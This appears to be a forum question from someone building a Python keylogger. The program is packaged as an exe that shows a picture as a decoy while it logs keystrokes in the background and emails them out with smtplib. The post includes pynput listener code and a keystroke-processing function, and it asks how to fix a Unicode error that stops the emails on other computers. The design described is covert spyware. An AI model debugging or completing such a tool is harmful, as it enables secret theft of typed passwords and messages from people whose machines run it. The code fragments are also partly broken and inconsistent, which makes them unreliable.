TL;DR:
found the bug, didnt solve it yet:
Typing in english(left side), displayed in hebrew(right side)
I have built a simple keylogger in python 2.7 on my Ubuntu machine (VMware). The exe file created supposed to show a picture and execute the keylogger at the background. It is working on the host computer (the VMware host, no python installed) but not other computer I have(no python as well). It does show the picture but fails to send email using smtplib
for processing keystokes I used pynput like this:
keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()
and proccess_keystrokes is:
def process_key_press(self, key):
try:
current_key = key.char
except AttributeError:
current_key = '{0}'.format(key)
if current_key == 'Key.space':
current_key = " "
else:
if current_key == 'Key.enter':
current_key = "\n"
else:
current_key = " " + current_key + " "
except UnicodeEncodeError:
current_key = " bla "
self.append_to_log(current_key)
now it doesn't send anything on my windows machine, except from the first notification that the keylogger has started.
I tried to run in from pycharm as well, and after few second of running I get the following exception:
File "C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py", line 855, in sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError: 'ascii' codec can't encode characters in position 6-11: ordinal not in range(128)
Anyone knows what do I do wrong? how can I parse the keystrokes correctly? I tried several manuals but couldn't find a solution.
Would appreciate any help, Thanks.